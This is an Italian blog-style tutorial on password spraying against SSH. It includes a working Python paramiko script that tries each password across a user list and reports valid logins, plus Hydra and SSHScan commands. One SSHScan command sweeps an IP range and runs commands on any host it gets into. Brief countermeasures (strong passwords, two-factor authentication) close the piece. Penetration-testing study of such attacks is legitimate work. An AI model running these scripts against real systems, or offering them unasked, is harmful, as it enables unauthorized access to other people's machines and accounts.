Break the shell

Utilizzare il password spraying attack contro SSH

SSH (Secure Shell) è un servizio che nasce a metà degli anni 90 come valido sostituto a TELNET ed FTP. Rispetto ai suoi vecchi predecessori, SSH offre notevoli vantaggi:

  • Cifratura dei dati – I dati scambiati tramite protocollo SSH sono cifrati, perciò è estremamente difficile effettuare un attacco di tipo man-in-the-middle al fine di intercettarne le comunicazioni
  • Scambio file sicuro - grazie al protocollo SFTP i file sono scambiati in modo sicuro e rispetto ad FTP i file sono cifrati prima di essere trasferiti
  • Autenticazione tramite chiavi SSH – è possibile collegarsi ad un sistema remoto utilizzando una chiave SSH memorizzata in un file. Questo ha il doppio vantaggio: da una parte si evita di dover ricordare la password e di doverla reinserire ad ogni collegamento, dall’altro invece ci sarà un netto incremento della sicurezza

Il lato oscuro di SSH

Questo magnifico servizio presenta un lato oscuro: una volta eseguita la corretta autenticazione vi troverete faccia a faccia con la shell di sistema, eseguire comandi e collegarvi ad altri sistemi. Come vedremo più avanti, ottenere l’accesso tramite corretta autenticazione non è poi così impossibile.

Una volta “loggati” all’interno del sistema la minaccia sarà commisurata al livello di accesso ottenuto: ovviamente un accesso di tipo root o admin vi darà poteri illimitati.

Ottenere l’accesso tramite password spraying attack

Bene! Siamo quasi arrivati alla parte più succosa, presto vedremo un po’ di codice e un paio di tool da utilizzare in questo contesto. Prima però è doveroso spendere 2 righe sull’attacco di tipo password spraying.

Il password spraying è un particolare tipo di attacco bruteforce alle credenziali ma differisce da un attacco tradizionale dal modo in cui vengono “provate” le combinazioni user/password. Di seguito un esempio

Attacco bruteforce tradizionale

UserPassword
adminadmin
adminpassword
admin12345
adminguest
lorisadmin
lorispassword
loris12345
lorisguest

Attacco password spray

UserPassword
admin12345
loris12345
guest12345
root12345
adminadmin
lorisadmin
guestadmin
rootadmin

In questa tipologia di attacco si una una singola password contro una lista di utenti prima di passare alla password successiva, l’obiettivo quindi è ottenere una login valida al sistema a prescindere dal tipo di accesso.

Questo ha un doppio vantaggio:

  • è molto più facile ottenere almeno un accesso preliminare con una password debole, specialmente se la lista di utenti è sufficientemente lunga
  • non rischieremo di bloccare l’account a causa dei molteplici tentativi

Talk is cheap show me the code

Per effettuare questo tipo di attacco utilizzeremo un semplice script python

#installazione libreria paramiko
pip install paramiko

import paramiko

def read_credentials(filename):
    with open(filename, 'r') as file:
        return [line.strip() for line in file.readlines()]

def ssh_connect(hostname, port, username, password):
    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(hostname, port, username, password)
        print("[*] Password found: {}/{}".format(username, password))
        client.close()
    except Exception as e:
        pass

user_filename = "user.txt"
password_filename = "password.txt"
hostname = "127.0.0.1"  
port = 22
try:
    usernames = read_credentials(user_filename)
    passwords = read_credentials(password_filename)
    for pwd in passwords:
        for user in usernames:
            ssh_connect(hostname, port, user, pwd)
except Exception as e:
    print(f"Error: {str(e)}")

Lo script è minimale… ma dovrebbe funzionare abbastanza bene: prova tutte le combinazioni di username per una determinata password tramite libreria paramiko

Password Spraying Tools

Esitono diversi tool ampiamente utilizzati nei penetration testing che permettono di effettuare attacchi alle credenziali di tipo password spraying. In questa sessione ne studieremo 2:

  • Hydra – Venerabile tool ampiamente utilizzato e testato in ambito cybersecurity. Può effettuare attacchi alle credenziali su una moltitutide di protocolli. É veloce, robusto, scritto in C, presente di default sulle distro Kali
  • SSHScan – Scritto in python dal sottoscritto, non è veloce quanto hydra ma presenta alcune funzionalità interessanti: può effettuare attacchi su range di ip ed eseguire codice automaticamente dopo aver effettuato un accesso

Come installare/utilizzare hydra

#installazione hydra su os linux e distro basate su Debian
sudo apt-get install hydra

#attacco di tipo password spraying sul servizio SSH
hydra -L user.txt -P password.txt -u ssh://192.168.178.50

Come installare/utilizzare SSHScan

#installazione SSHScan da github
git clone https://github.com/killercd/sshscan.git

python3 -m venv sshscan
source sshscan/bin/activate
pip install -r requirements.txt


python sshscan.py scan 192.168.178.1 192.168.254 user.txt password.txt -c "whoami && ls -all"


Contromisure

Le contromisure adottabili per mitigare questo tipo di attacco sono analoghe a quelle già utilizzate per altre forme di attacco alle credenziali e includono:

  • scelta di password complesse (è importante impostare delle policy di sicurezza per password complesse. É importante costringere gli utenti ad impostare password non facilmente indovinabili)
  • Implementazione dell’autenticazione a 2 fattori

A queste due si va ad aggiungere anche la mitigazione dell’enumerazione degli utenti: ricordiamo che gli attacchi di tipo password spraying sono più efficaci se l’attaccante ha a disposizione una lunga lista di utenti validi. Esisono diverse tecniche per enumerare gli utenti di un sistema e altre per contrastarne l’enumerazione, tecniche che esulano da questo articolo.

Considerazioni finali

Oggi abbiamo ampliato la nostra conoscenza su una tipologia di attacco abbastanza comune e facile da portare contro un sistema, attacco facile ma non per questo non pericoloso o inefficace. Il tutto è stato corredato da codice di esempio per effettuare l’attacco, da tools per condurre un penetration test e da semplici contromisure attuabili per difenderci da tali attacchi. Il prossimo articolo verterà sulle tecniche di enumerazione degli utenti e sulle procedure utilizzabili per la sua mitigazione.

Link utili